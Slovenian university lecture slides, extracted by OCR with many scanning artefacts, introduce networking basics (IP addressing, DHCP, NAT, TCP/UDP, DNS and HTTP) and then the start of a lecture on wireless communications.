m z razliénimi mreznimi naslovi ne komunicirajo direktno, komunikacija
je mogoc¢a le prek usmerjevalnikov

:naslw omrefja 193.2.90.1 23] 11000001.00000010.01011010.10000000

| naslov naprave  0.0.0.62 | 00000000.00000000.00000000.00111110
ALl funkcija:

naslov IP: 193.2.90.190| 11000001.00000010.01011010.10111110

——
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i Topologija

I usmerjevalnik

—ak = — -
NET ID=193.2.90.0 "&=—==_ NET ID=193.2.72.0

LDEIﬁHq'DMREiJvu\ LOGICNO OMREZJE
B

ATM

premoscevalnik
FIZIENO OMREZJE 1 Ethernet 2
FIZIENO OMREZJE 2

S

FIZICNO OMREZJE

——
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| Parametri IP omrezne povezave

Omrezna povezava je (logi¢na) tocka, kjer je naprava (PC,
usmerjevalnik) prikljucena v IP omrezje

m posamezna naprava ima lahko 1 ali ve€ omreznih povezav

m praviloma pripada 1 omreznemu vmesniku (npr. mrezni kartici)

1 omrezna povezava

Parametri omrezne povezave

m [P naslov omrezne povezave

= maska podomrezja

m izhodni usmerjevalnik (default gateway)

Nacin dodeljevanja parametrov

m rocna

m protokol DHCP
m omogoca centralno dodeljevanje in upravljanje z naslovi IP
m deluje v nacinu klient-streznik
m koncept “najema" naslovov IP za dolo€en €as
m podpira statiCne naslove — na primer za streznike

——

www.ltfe.org, Laboratorij za telekomunikacije 16 |




DHCP je komunikacijski protokol, ki omogoca centralno
dodeljevanje in upravljanje z IP naslovi

Deluje v nacCinu klient-streznik
Uporablja se koncept “najema” IP naslovov za doloCen Cas
DHCP podpira staticne naslove — na primer za streznike

§ Streznik DHCP
POSLJI MOJE NASTAVITVE

Klient DHCP
o
LT /\ I
==" Y\ Y

TVOJE NASTAVITVE SO:
naslov: 172.16.10.13
maska: 255.255.255.0
DG:172.16.10.1

DNS: 10.0.2.3

cas veljavnost: 10 dni

{ www.ltfe.org, Laboratorij za telekomunikacije
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DHCP delovanje

discover (broadcast)

Klient DHCP

@

Ciocl t—t‘—
coccocon

9 pHCP

J Action  Wiew |J | o= |

ElEEE

) offer (unicast)
request (broadcast)
) ACK (unicast)

Streznik DHCP

m

e

I =] B3

Tree I Address Leases
@ DHCP Client IP Address | Mame | Lease Expiration | Twpe | Unigue ID | Descripkion

= @ It67 . laboratorij. kFe.org [10.0.4.67] @ 10.0.5.19 andrej.laboratarij.kfe.org 3/16/2003 4:45:37 PM DHCP 005004611354
EI {22 Scope [10.0.0.0] LTFE - Private - 1/2 Q 10.0.5.15 laptophp.laboratorij.lkfe.org S17/2003 2:49:11 PM DHCP 00z20e05Sedaa
H {71 Address Pool @ 10.0.5.17 compad. 311302003 10:06:16 AM DHCP 00030216cd4e
Q 10.0.5.16 mat.laboratorij.tFe.org 3/15/2003 1:41:55 PM DHCP 0002a595995b
{8 Reservations Qm 0.5.15 3/16{2003 4:06:53 PM DHCP 000bbef38339
: g Scope Options 14 k87, 3{12{2003 10:45:17 AM DHCP 000476102468
{13 Server Options 13 compaq. 3/12{2003 12138145 PM DHCP azefboboen7o
Az skylistic, /172003 2:47:25 PM DHCZP 000b46562bal
A1 3,!'16,!'2003 1:20:00 P DHCP 00e04c390199

cedi0s04c390199 labaratarij.kfe...

E8 DHCP =]
J Action  Wiew |J <=
Tres | Export List || Scope Options
@ DHCP Option Mame | wendar | walue | class
= @ k67 laboratorij.tFe.org [10.0.4.67] &DDS R.outer Standard 10.0.001 MNone
EI {:| Scope [10.0.0,0] LTFE - Private - 1/2 &DDG DS Servers Standard 10.0.4.67, 10,0,4,73, 193,189.160,11, 193.2.1... MNone
: {I7) Address Pool gg‘%DlS DNS Domain Mame Standard laboratorij. ItFe.org Mone
(i Address Leases
(L= Ressrvations H
‘L Server Options —
d I -+
( www.ltfe.org, Laboratorij za telekomunikacije 18 )
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Razredi IP naslovov

Razred naslova IP sam po sebi (brez uporabe maske)
doloca, kaksen delez naslova IP predstavlja naslov omrezja
in koliko preostane naslovu naprave v tem omrezju

m ob uporabi razredov maske omrezij naceloma niso bile potrebne,
vendar pa je ta mehanizem postal ze davno premalo prilagodljiv
(omogoca le izbiro 8, 16 ali 24 bitov naslova IP za omrezni naslov) in
ga je prakticno v popolnosti nadomestila uporaba maske (ki omogoca
zvezno dolocitev deleza)

Razred Prefix Maska Stevilo omrezij  Stevilo naprav
A 0 255.0.0.0 125 16.777.213
B 10 255.255.0.0 16.383 65.533
C 110 255.255.255.0 2.097.151 254
D 1110
E 1111

——
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| VLSM - Variable Length Subnet Mask

Variabilna dolzina mask

Omogoca dodatno granulacijo posameznega omrezja
m Se boljsa izraba naslovnega prostora

11.1.1.0/24
11.1.2.0/24
&

]
11.1.253.0/24

11.1.253.32/27

11.1.0.0/18 11.1.2.53.34J2?

11.2.0.0/18

]
11.1.253.160/27

/1 W\
A

11.3.0.0/18 11.1.254.0/24
/ . 11.1.253.192/27
11.0.0.0/8 .
\ . 11.253.32.0/19
11.252.00116 ~_ 11.253,64.0119
11.253.0.0/18 E
11.254.0.0/16 ™ 11 .253.160.0/19

11.253.192.0/18

v
v

&
<

Subnet Variable length subnet

<&
<

( www.ltfe.org, Laboratorij za telekomunikacije 20 |
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| Uporaba VLSM

= Rapolozljiv naslovni prostor: 192.168.121.0/24
= 8 omrezij s 30 uporabnimi naslovi IP — podomrezje /27
s Za P2P se uporabi podomrezje /30 — 2 uporabna IP naslova

192.168.121.32/27
-30-

192.168.121.64/27
-30-

192.168.121.0/27
_30_

192.168.121.128/27

2.
@ Ljubljana

192.168.121.96/27
-30-

——
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| Globalni in zasebni naslovi IP

= Vsaka naprava v globalnem internetu ima svoj naslov IP

m naslov IP lahko dobi od svojega ponudnika internet storitev ISP ali
samostojno od IANA

m zaradi enostavnejSega usmerjanja se naslovi ISP dodeljujejo vec¢jim
ISP, ki jih dodeljujejo manjsim
m naslovi se dodeljujejo tudi geografsko
m haslovi 193.x.x.x so npr. vsi v Evropi
= Zaradi pomanjkanja globalnih naslovov IP in varnosti, se
uporablja tudi lokalne naslove, ki jih pri izhodu iz
zasebnega omrezja v javno pretvorimo v globalne
S X X X
19327415 10.0.0/ Fe % T e
e
SN
2h.2h 2 )

Internet NAT usmerjevalnik Lokalno omrezje
10.0.0.0/3

——
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uZasebni naslovni prostor

Organizacija Internet Assigned Numbers Authority (IANA) je
rezervirala nabor naslovov IP, ki se lahko uporabljajo v
zasebnih omrezjih

m 10.0.0.0 — 10.255.255.255 (10 / 8)

m 172.16.0.0 — 172.31.255.255 (172.16 / 12)

m 192.168.0.0 — 192.168.255.255 (192.168 / 16)

Nabor javnih naslovov IP ostaja globalen in unikaten
Nabor zasebnih naslovov IP se v hrbtenichem omrezju ne
oglasuje

Dostop do zunanjih virov omogoc¢a mehanizem NAT

——
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NAT — Network Address Translation

Prenaslavljanje izvornega naslova IP paketa v drug naslov
Uporaba

m zakritje izvorne naprave
m preslikava zasebnega nabora naslovov IP
m mapiranje naslova IP s Stevilko vrat streznika (destination NAT)

MAT preslikovalna tabela

E ODJEMALEC POZARHI ZID STREZHIK .

1 192168.1.1:1029 140116.72.219:1029 «> 140.116.72.72:23

| 192.168.1.1:1030 140.116.72.213:1030 <5 192.116.72.72:23 | =

| 192.168.1.2:1029 140.116.72.219:30029 «» 140.116.72.72:21 | ==

| 192.168.1.2:1030 140.116.72.219:30030 <> 140.116.72.72:21 © 1401167272

14011672219 140.116.72.0

192.168.1.0 1921681253 ‘ | HAT POZARLI ZID

f_.- ~_F v 192168 1.1:1029 &> 140.116.72.72:23

192165811 19216812

,J 140116 722191029 = 140116 7272 23

——
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w Primerjava stevilcenja IP in PSTN/ISDN

IP PSTN/ISDN
Format naslova enoten (32bit) | spremenljiv
Geografska dolocenost |je ni je
Hierahicnost jeni je
LogiCna imena da (DNS) ne obstajajo

www.ltfe.org, Laboratorij za telekomunikacije 27 )
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i (De)Fragmentacija

Zacetna polja v glavi IP

= Omogoca prenos datagramc_)v prek —— T ot
povezav, ki imajo MTU (Maximum ostala poli
Trasmission Unit) manjsi kot je podatid (1400 oktetov)
velikosti oddanega datagrama

= Maksimalna dolzina datagrama IP
je 65536 oktetov

\4

Zacetna polja v glavi IP

Identification= x 1] Offset=0

ostala polja

podatki (512 oktetov)

Zacetna polja v glavi IP

Identification= x 1| Offset= 512

!__ ostala polja

podatki (512 oktetov)

ETHliP|  (1400) PPP[IF](512)

Zacetna polja v glavi IP

ETH ﬁ (512 Identification= x 0 | Offset= 1024
PPP|IP|(376 ETH|IF[(376 ostala polja

podatki (376 oktetov)

——
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Zgled

| Proces fragmentacije

m datagram ICMP dolzine 4028 oktetov
m MTU (Maximum Transmission Unit) = 1500

4028 oktetov

4000 oktetov

20

T 3

1500 1500 1068
ZAGLAVJE IP = 20 oktetov
l ZAGLAVJE ICMP = 8 oktetov
20 |8 1472 20 1480 20 1048

1472+1480+1048 = 4000 \

( www.ltfe.org, Laboratorij za telekomunikacije
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 ICMP

m ICMP (Internet Control Message Protocol)
m del IP sloja

m za obvescanje o (nekaterih) napakah in ostalih dogodkih, ki zahtevajo
pozornost

m nhe obvesca o napakah ICMP paketov, generiranje ICMP datagramov
ni obvezno

m nadzor omrezja

) IP datagram

v

P [
<« »

20 oktetov

——

www.ltfe.org, Laboratorij za telekomunikacije 30 |




ARP

= Address Resolution Protocol

= Preslikava IP naslovov v
fizicne (MAC)

= Omogoci pripravo ustreznega
paketa na fizichem nivoju

= ARP je odvisen od omrezja

= Inverzno operacijo izvajajo
(RARP, BOOTP, DHCP)

Router Receives
Packet

!

Router Reads
Destination Address
and Accesses ARP

Cache

Is

Destination
Address in ARP Queue
Packet
Cache
? —
YES Sends ARP
Request

Forward Packet
to Destination Host

AR
Response
RCVD or

Timer Expires

TimerExpires

ARP Response Received

Router Adds Entry
to ARP Caches

Y

Router Transmits
Queued Packets

Y

Packets Forwarded
to Destination Host

——
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LFE

Telekomunikacie in informaciske Tehnologie
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

e

Osnove IPVv6

——
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| Kljucne novosti IPv6

Povecan naslovni prostor (128 bitov) = 3.4*10*38 naslovov
Naslavljanje unicast, multicast, anycast
m hi¢ ve€ "broadcast” naslavljanja
Poenostavljen format glave
m fiksna dolzina glave (40 oktetov)
m zmanjsano Stevilo polj
m polja, ki niso nujna se nahajajo v opcijskih glavah
Mehanizem za dolocitev MTU
m IPv6 ne podpira fragmentacije paketov
Nov protokol za poizvedbe med sosedi
m protokol Neighbor Discovery
m hadomesca protokol ARP
Varnostni mehanizmi integrirani — obvezen IPSec
IzboljSan mehanizem QoS
m dodatno polje "Flow label”, ki oznacuje prometni pretok

Mehanizem za avtomatsko dodeljevanje naslovov
Izboljsana mobilnost

——
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i Transport v internetnih sistemih

{ www.Itfe.org, Laboratorij za telekomunikacije 33 |
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L7
L6
LS
L4
L3
L2

L1

OSlI
Aplikacijski

| Transportni sloj

Predstavitveni

Sejni

Transportni

Omrezni

Povezavni

TCPI/IP

Aplikacijski |

'Telnet' FTP I HTTPI

Transportni

Omrezni

FiziCni

Rac./omrezje

4. sloj ISO/OSI
m podatkovni tok je logi€na povezava med kon¢nimi tockami

m omogoca transportne storitve med gostiteljem in ciljem
Storitev od konca do konca (End-to-end)
Dva glavna protokola

m TCP - Transmission Control Protocol
m UDP - User Datagram Protocol

PDU: pri TCP segment, pri UDP sporogéilo

[
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TCP/UDP

7. Application

6. Presentation

5. Session

4 Transport

3. Network

2. Data Link

1. Physical

TCP/UDP

7. Application

6. Presentation

5. Session

3. Network

2. Data Link

1. Physical

——
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Naloge transportnega sloja

= Osnovna naloga:

med aplikacijami

= Mozne dodatne
naloge:
m Zagotavljanje
pravilnosti transporta
m Kontrola

m  Osnovni prenos podatkov oz. upravljanje posameznih komunikacij

m Transportno naslavljanje za identifikacijo posameznih aplikacij
= Segmentiranje podatkov
m Upravljanje posameznih segmentov
m Sestavljanje segmentov

5.
,

A

A

TCP/IP Model TCP/IP Model
podatkovnega toka \
med obema koncema L. -« > HH o
. . Application Application
m PrepreCevanje
zasi¢enja v omrezju - The Transport layer —
Transport - " moves data between Transport |
- applications on
devices in the
network.
( www.Itfe.org, Laboratorij za telekomunikacije 41 |
T




GGy

Cabrillo College Blackboard Log Tn

learning /\H TT P

2l (2 i [ [w] [+] (@] | 2] D [0 4 (] ] (@]
ol B == (o] [« | & s 6
* | Piename 1

= FTP LTFE
Web

aplikaciski__ | streznik
Predstavitveni |
Aplikacijski TCP 22—
Predstavitveni Tep I:::::vln.
Sejni | Fizieni
Transportni ISP

Email in
FTP
apiikaciiski___| gtreznik

Predstavitveni |
TCP }
ransportni

» UDP

Omrezni

Povezavni I

Fiziéni |

"y
a
a
e
a
"
a
a
L]
a
"
"y
a
"
......
a
"a
"
a
"
L]
"a
b}
"y
a
"
a
"a
e

Oomrezni

Povezavni

| Fizi¢ni I

= En odjemalec ima lahko hkrati vzpostavljenih ve€ transportnih sej
z ve€imi strezniki
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Transportno naslavljanje

= Dvojico podatkov:
= naslov IP,
m Stevilka vrat — port (FTP 21, TELNET 23, SMTP 25 ..)

m igra viogo tocke dostopa do TCP storitve

imenujemo vti¢nica (socket)

FTF FTF
odiemalec " v stresnik
ZVezZa
1027 21
TCF TCP TCP

entiteta A JE—— M entiteta
193.266.137 193 .2.66.65

IFP IP [P
entiteta enititeta entiteta

[
T
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| Vrata

Stevilka vrat (ang. port number) doloéa kateremu programu na
racunalniku, bo prejeto sporocilo dostavljeno

m internetni brskalnik (Internet Explorer, Opera)

m odjemalec za elektronsko posto (Outlook, Opera)
m mrezna igrica (Doom, World of Warcraft)

m program za izmenjavo datotek (Torrent, E-Mule)

... D.

To: you@example.com ) _ (W)
From: me@example.com :T_
Subject: Email 'j =
o = ‘ |
Applications > Electronic Mail HTML Page Internet Chat
Protocols |
Port Humbers A Y A A
POP3 HTTP I
Application Application Application
Transport Port Data Port Data sl Data
> 110 80 531
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Vrata

Nekatera tipicna vrata in aplikacije

m 16 bitni naslov, ki pove, kateri aplikaciji pripada podatkovni tok

Vticnica

m kombinacija podatka o protokolu, portu in naslovu IP
{tcp, 193.44.234.3, 12345}

m je “transportni naslov”

Port Protokol | Ime aplikacije Funkcija

21 tcp ftp prenos datotek

23 tcp telnet navidezni terminali na
oddaljenih ra¢unalnikih

25 tcp smtp elektronska posta

80 tcp http WWW

161 udp snmp nadzor in upravljanje

111 udp pc delenje mreznih virov

——
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| Uporaba vrat — hkratne povezave

192.168.1.101 o
Source Destlnatlon

Port 198.133.219.25

49888 w380 ‘

WWW.CISCO.com

Kaj naredi povezavo edinstveno?

= Povezava je definirana s paroma podatkov:
m izvorni naslov IP, izvorna vrata
m ponorni naslov IP, ponorna vrata

= Razliéne hkratne povezave lahko uporabljajo ista ponorna vrata
na strezniku (ponornem naslovu IP)

{ www.Itfe.org, Laboratorij za telekomunikacije 46 |
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| _Protokol UDP

= UDP (User Datagram Protocol)
m osnhovni standard RFC 768

m enostaven, hiter - omogoca izmenjavo datagramov med
aplikacijami

m brez nadzora in odprave napak
m he dodaja kontrole pretoka
m kontrolna vsota
= Primeren za:
m aplikacije, ki same skrbijo za pravilnost podatkov
m prenos podatkov v realnem Casu

= zvok, video

Datagram IP

&
<

v

Zaglavje UDP Podatki

v

Datagram UDP

——
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| Protokol TCP

TCP (ang. Transmission Control Protocol)
m oshovni standard RFC 793

m urejen, zanesljiv, dvosmeren transport po omrezju IP
m omogoca prenos podatkov brez napak
m zaporedne stevilke paketov, potrjevanje paketov

m kontrolna vsota
m vklju€uje glavo TCP
m podatke datagrama TCP

m izvorni in ponorni naslov ter nekatera ostala polja iz glave IP

m kontrola pretoka — princip okna
Povezavno usmerjen protokol

m vzpostavitev povezave — SYN
m rusenje povezave — FIN

Datagram IP

- Zaglavje TCP Podatki

v

v

Segment TCP

——
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4‘ Naloge protokola TCP

= Transportno naslavljanje
= Pretvorba podatkov v sporocila (segmenti) in obratno

s Zanesljivost prenosa podatkov
m Avtomatiéna ponovna oddaja izgubljenih segmentov
m Avtomatiéna ponovna oddaja okvarjenih segmentov (bitne napake)
m Brisanje podvojenih segmentov
m Ponovno vzpostavljanje pravilnega vrstnega reda pomesanih segmentov

= Krmiljenje pretoka med obema koncema
= PrepreCevanje zamasitev v omrezju

——
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| Zgradba segmenta TCP

Stevilka izvornih vrat (16 bitov) in &tevilka ponornih vrat (16 bitov)
skupaj z naslovi IP predstavljata zagetno in konéno

tocko datagrama IP. Dolocata edinstveno oznako povezave,
imenovano socket.

32 bitov / 4 ok.t/eli/
>

-+ /

[ Sekvenéna Stevilka paketa (32 bitov) predstavlja zaporedno
stevilko prvega okteta podatkov, ki se prenasajo v segmentu.

izvorna vrata ponorna vrata
sekvenéna Stevilka Stevilka potrditve (32 bitov) predstavija
Stevilka potrditve — | | zaporedno Stevilko okteta potrditve.
o, e wmn velkastakma < SeIolo T T e e
kohtrolna vsota @“ za nujne podatke sprejemni medpolnilnik (receive buffer). Ul'r%t aSC:/(r,1 pf?:
f Krmilni biti (6 bitov) doloajo namen segmenta. |4/ ’ ,

Kontrolna vsota glave (16 bitov) zagotavlja pravilnost
sprejetega paketa. Pri izraéunu uposteva glavo paketa
TCP ter Se nekatera polja iz glave datagrama IP
(Pseudo Header) ter podatke paketa UDP.

Kazalec na nujne podatke (16 bitov): polje je
uporabljeno, &e je kontrolni bit URG vkljuéen.

Opcije omogo&ajo razsiritev funkcionalnosti protokola
TCP. Najpogosteje se uporablja za dogovarjanje o
najvedji velikosti segmenta TCP.

Rezervirana polja (6 bitov) [\

Dolzina glave je 4 bitno polje, v katerem je zapisana
dolzina glave segmenta TCP v skupinah po 4 oktete

(vrednost 5 predstavija 20 oktetov). = -
www.ltfe.org, Laboratorij za telekomunikacije
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= Potrebujemo dupleksno povezavo in cakalne vrste za sporocila
= Detekcijo napake zagotovimo redundatnim kodiranjem

=  Korekcijo izvedemo s ponovitvijo
= ARQ - Automatic Repeat reQuest

= Slabosti:

m informacijska hitrost se (pri fiksni bitni hitrosti) zniza zaradi:
m redundance za odkrivanje napak
m potrditvenih sporodil
m dodatno €akanje na potrditve
m za potrditveni kanal ponavadi predvidevamo odsotnost napak

( www.Itfe.org, Laboratorij za telekomunikacije 52 |




m Primerjava TCP in UDP

Protokol UDP — preprost minimum

m samo transportno naslavljanje: stevilke vrat
m opcijsko preverjanje sporocila (checksum),
m brez kontrole prometa, preobremenitev,

m hezanesljiv, nepovezaven

m hi zaporednosti
Protokol TCP — zanesljivost

m stroga zanesljivost

m stroga zaporednost

m kontrola prometa, preobremenitev omrezja
m bytno-tokovno orientiran (byte-stream)

——
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LIFE

Telekomunikacie in informaciske Tehnologie
Laboratorij za telekomunikacije
Fakulteta za elektrotehniko

Internetne aplikacije
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| DNS — Domain Name Service

DNS je porazdeljena podatkovna baza, ki jo aplikacije TCP/IP uporabljajo:
m za “pretvorbo” med imenom hosta in njihovo IP stevilko

m dela v obe smeri
Porazdeljena baza:

m “nihCe ne pozna vsakogar”
m izogib enojni toCki odpovedi
m odzivnost strezbe
m upravljanje
Elementi strezbe DNS:
m lokalni streznik DNS (local DNS)
m korenski streznik DNS (root DNS)

m pooblasceni DNS (authoritive DNS)
Hierarhiéna struktura

——
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| Strezba DNS

= Uporabnik user.ispl.si zeli komunicirati s streznikom
gaisa.cs.isp2.net
m 1. user.isp1 kontaktira lokalni
streznik DNS dns.ispl.net

m 2. Lokalni streznik DNS .
dns.ispl.net poslje zahtevo
korenskemu strezniku DNS (po potrebi)

m 3. Korenski streznik posreduje Iokalnl NS pooblascenl ONS
zahtevo pooblas¢enemu strezniku d”S Isp1.si dns.isp2.net
DNS dns.isp2.net (po potrebi)

korenski DNS

user.isp1.si gaia.cs.isp2.net

——
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Hierarhicnha struktura DNS

unnamed root —m .

top level
domains T o

United Arab Zimbabwe
second level . Emirates
domains
@ @ ‘\sun.tuc.noao.edu. cnri.reston.va.us. —v @

e }‘ generic domains

@ N~ 33.13.252.140.in-addr.arpa.

, 4’|< country domains >{

——

www.ltfe.org, Laboratorij za telekomunikacije

59

>




m Domene

Domene — prepoznavni naslovi

m imenski prostor je organiziran hierarhicno (fe.uni-
lj.si)

s vrhnja domena (TLD) .si, .at, .com, .net

s poddomena pod vrhnjo domeno (SLD), uni-lj.si
Vrhnje domene

m gTLD - generic TLD

m .com, .net, .org, ...
m http://rs.internic.net/

m cCTLD - country code TLD

m ISO 3166 lista dvocrkovnih drzavnih oznak
= .Si, .ca, .fr,.nl, .de ...

m hTLD - new TLD

m .biz, .info

——
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Streznik
HTTP

Odjemalec g
HTTP |

IP
Header

TCP
Header

HTTP
Header

Data™ ..

HTTP — spletni protokol aplikacijskega sloja
Angl. HyperText Transfer Protocol

RFC 1945 in RFC 2616

Implementiran v:

m odjemalski program
m streznikski program

Uporablja protokol TCP za transport
Namen: prenos raznovrstnih dokumentov (tekst, slike, avdio, video)

{ www.ltfe.org, Laboratorij za telekomunikacije
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|HTML

<hea

<l--

d>

body {
margin-left: Opx;

margin-top: 0Opx;
margin-right: Opx;

margin-bottom: Opx;

<meta http-equiv="Content-Type" content="text/html;
l" />
<title>Jaka Javornik, LTFE</title><style type="text/css">

charset=1is0-8859-

Spletna stran (tudi “html dokument”)
Spletna stran je sestavljena iz objektov:

m HTML datokeka

JPEG slika

GIF slika

JAVA applet
Avdio datoteka

Osnovna HTML datoteka kaze na ostale
objekte na strani.

——
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Delovanje zahteve HTTP in poizvedbe DNS

1. Uporabnik vnese URL
(dl.Itfe.org/index.html)

5. Program prikaze vsebino

datoteke “avtorji.html”
Uporabnlk )

4. Program poslje “GET /index.html”, streznik

vrne vsebino datoteke “index.html”, TCP
ovezava se nato prekine (ne velja za 1.1!)

prd
/

2. Zahteva za naslov IP,
streznik DNS vrne naslov
zahtevanega WEB-streznika
(193.2.90.80)

s Internet
Gl 3. Program vzpostavi
povezavo TCP na vrata 80
B WEB-streznik
- npr. dl.ltfe.org
npr. ninurta.fe.uni-lj.si
(193.2.72.1)

——
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| URL in statusne kode pri HTTP

= URL:
m http_URL = "http:" "/I" host [ ":" port ] [ abs_path [ "?" query ]]

= Statusne kode:
1xx Informational
2xx Success

3xx Redirection
4xx Client Error
5xx Server Error

www.ltfe.org, Laboratorij za telekomunikacije
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Brezzicne komunikacije

Predmet: Komunikacijski sistemi

as. mag. Andrej Stern
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Laboratorij za telekomunikacije
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'Uvod__

= Prvi enostavni prenosi so bili brezzieni  2---

m ogenj in dim (velike razdalje) P

m bobni, kriki (manjSe razdalje) ﬁ" '.-

m ogledala, zastave (vidna razdalja)
m kurirska posta (doseg ljudi, zivali)
= Doba elektrotehnike in telekomunikacij
m 1800: izum prve Zn-Cu baterije (Alessandro Volta)

m 1837: uporaba telegrafa (Samuel Morse)

m 1873: razvoj tehniénih osnov radia

m Maxwell, Hertz, Tesla, Marconi ...
m 1894: prva radijska komunikacija na > 100m

m 1906: prva oddaja AM radia (Fessenden)

{ )
ar % 4 1
: R,
\ EEE 1
N ! =
{

A e =
m 1991: prvi sistemi GSM v Evropi (Finska) Mario Osana (1928)  Martin Cooper (1973)

Radio Slovenija

Prvi mobilni telefon

{ www.Itfe.org, Laboratorij za telekomunikacije 2 |
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| Vloga brezziénega povezovanja

= Pomen brezziénosti
m poenostavitev povezovanja
m premagovanje fiziénih ovir
m zagotavljanje globalnega pokrivanja

m boljSa uporabniska izkusnja

m pospesSevanje razvoja informacijske druzbe

= NajpogostejSi izzivi

Eksp. upadanje krivulje

m zasedenost spektra

Moc€ signala

-

01-1m
/ (10-100 msec) |

, !

Kratkorogni presih

® motnje pri prenosu

m domet komunikacije

y

Dolgoroéni presih

m hitrost prenosa podatkov
10-100 m

m varnost komunikacije (1-10 sec)

; .. Razdaljah
m komunikacijska oprema

www.Itfe.org, Laboratorij za telekomunikacije 8
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Brezzicni medij

Mehansko valovanje

= zvok se kot motnja &iri v dani snovi {gEsis

- y PO P
3 se v &

T, 't . N

-~ a2 -

a ‘.é."" 2

m hitrost Sirjenja odvisna od trdnine, kapljevine ali plina

m za Siritev je snov nujno potrebna, v vakuumu komunikacije ni

m slabljenje zvoka med govorcema na 100m znasa 107,5 dB

Snov v [m/s]
zelezo 5950
steklo 5300
les 4500
beton 3100
voda 1497
zrak 343
vakuum =0

m koristna uporaba visokih zvoénih frekvenc (sonar: 200kHz, medicina: 0,2-15MHz)

Elektromagnetno valovanje

m nesnovno valovanje elektriénih veli€in (napetost, tok)

m hitrost Sirjenja odvisna od lomnega koli€nika “n”

®m V snovi se spremenita hitrost in valovna dolzina, frekvenca ne

m hitrost svetlobe v praznem prostoru znaSa c,=2,9979246*108m/s

m 0od Zemlje do Lune: 1,3s

m 0d Sonca do Zemlje: 8,3min

m Vvidna svetloba je le deléek elektromagnetnega spektra

m precej nad radijskim spektrom

c0=1,08 mrd km/h

[

Ao
A

Snov n
svinec 2.6
asfalt 1.635
steklo 1.52
voda 1.33
zrak 1.0003
vakuum 1

:
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Prikaz razpolozljivega spektra

+‘|_
= Delitev podroéja od 0 do 10%° Hz " J
m ionizirajoéi zarki g0 °o§ ‘;i'_'.?:.-.-:-:

hole electron
-—

® o ® @ ® 8 @ conduction hand
------------ Fermi level
nY

m povzro€ajo razbitje molekul, spremembe DNA zapisa

............ £5 band gap

m (ne)vidna svetloba T
m zelo visoke frekvence reda 101> Hz (1.000.000 GHz) 8 '

m radijsko podroé€je

m Kjer je mogoé€e vzbuditi EMV z antenami in izmeniénim elektriénim tokom

Ne-ionizirajo€e I lonizirajoce

* Se"a”je v T sevanje

Radljske frekvence (RF) Spekter -

700 400nm ! |
] Infra-rdeca Ultravu I
svetloba | svetloba X-zarki Gama-zarki
AM
[ N N I M

10 10;’ 103 10‘ 105 105 107 103 109 10]‘) 101' 10'2 10]3 10'-‘ 10]5 10'5 10'? 10]! 1019 102‘} 102‘ 1022 1023 1024 10,?r 10”
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Namenska raba frekvencnega spektra

e

=

LTI

WLAN 5GHz

[ wotauocaten I 5ROADGASTING-SATELLITE [ ] warmmME moBILE [ RaDIO ASTRONOMY I sFAcE OPERATION

] AERONAUTICAL MOBILE I =/RTH EXPLORATION-SATELLITE [ ] WARITIME RADIONAVIGATION [ RADIOLOCATION [ sPacE RESEARCH

[1 aeronauTicaL rapionavicaTion [ Fixeo ] METEOROLOGIGAL AIDS I RDiONAVIGATION [ STANDARD FREQUENCY AND TIME SIGNAL

[ Amateur I FIXED-SATELLITE I weteoroLoGIGAL-SATELLITE I RADIONAVIGATION SATELLITE [N STANDARD FREQUENCY AND TIME SIGNAL-SATELLITE

[ AMATEUR-SATELLITE [ ] INTER-SATELUTE B  vosiLe VII’ httD//WWWtraC]OVGC]/EC]VA“OCChaI’tDdf

I sroADcASTING [ wanomosie e { www.ltfe.org, Laboratorij za telekomunikacije 6




Zmogljivost prenosnega kanala

Kdaj prenesemo ve€ podatkov

m C€e prenasamo dlje ¢asa na SirSem pasu z ve€jo mog¢jo

!
!
t
1
1
1
I
I
!
[}
1
1
1
______________________
’
’
’
’
7

T S
C=B [Ilogz(1+ Nj
Shannon - zmogljivost zveze [bit/s]

B

Zmogljivost prenosa informacij:
T-Cas

B - Pasovna Sirina (frekvenca)

| = TxBX

Kako ve¢ uporabnikov navidezno hkrati prenasSa podatke

m FDMA - frekvenéni sodostop (Frequency Division Multiple Access)

m TDMA - €éasovni sodostop (Time Division Multiple Access)

m CDMA - kodni sodostop (Code Division Multiple Access)

7 o
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m Primer komunikacijskega sistema

Relacija izvor - oddajnik - kanal - sprejemnik - ponor

m izlo€anje irelevance (izvorno kodiranje: kompresija)

m dodajanje redundance (kanalsko kodiranje: zasé€ita)
m moduliranje (modulator: premik na visjo frekvenco)

m prenosni kanal (izsevanje EMV iz antene)

Elektriéni tok EMV
IZVOR lzvn IZVORNI |:Vn KANALSKI lzvn ::

INFORMACIJE KODIRNIK KODIRNIK

Govor, WAV, robustnost, AM/FM,

glili_il;a, MPSC’;, redundanca, QPS(Is(,

slike, i

video, Divx, Plastnost e Mz, |[PRENOSNI

podatki ZIP prenosnega GHz KANAL

kanal

PONOR PONORNI KANALSKI DE- :
INFORMACIJE <:| DEKODER <:| DEKODER <:| MODULATOR

izgube,

lom,

uklon,
presih,
presluh,
Sum,
interferenca

——
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Dosegljivost storitev vedno in povsod

Konvergenca omreznih tehnologij
m integracija fiksnih in mobilnih omrezij
m raznolike karakteristike “\ S

m pokritost obmogéja
m hitrost komunikacije
m kapaciteta omrezja

m cena komunikacije

BizARN Boadband zloba
o)
I\ D)

] .l Ares Networ<s
nabor storitev f .
‘I “ "‘ EEE 202 22 Wireloss

- “;‘:2: Segionsl Arss etworks
V naselju
) .
‘\(( a4

EEE 20222
Wctile Brosdier d
Wireless Access (MBYWWA)

3G=F, 3CPP2Z
EEN, LMTS, HSE A
HSMA | LTE, L E-Advanced

|EEE 802 1€

W el AN CTENPERMAN
ML, LMD & HISERAZZIESS

EE=Z 302.11
Wwirelags LAN

ET3I
HIPERLA™N

WPAN
|IEEE £02 .12 ZigBoc
BlLetaoth il

WBAN
PFD NFC

Znotraj stavb

Angl. Seamless Mobility

——
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| Mobilnost in Sirokopasovnost

= Izbira kompromisa med mobilnostjo in zmogljivostjo
m priéakovanja novih tehnologij in tehnoloskih pristopov (OFDM, MIMO ...)

L LY | m
'Y o W
E3 8
L4 “‘
~ .
I " ]
n L
\J
Q’ Q.
*
4y an?®

N

Mobilnost / doseg,

Vozilo na
hitri cesti

Vozilo na
dezeli

Vozilo v
mestu

PesSci

Nomadska
uporaba

Mestno okolje DECT

Znotraj hise ZigBee |IEEE

N BLUETOOTH vi.2 (IEEE802.11x)  gppq1ed YWB

Teoreticna hitrost 0,1 1 10 100 1000 Mbit/s

www.ltfe.org, Laboratorij za telekomunikacije
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Umestitev tehnologi) WBAN

WGAN

BGAN Broadband Global
Area Networks

WRAN

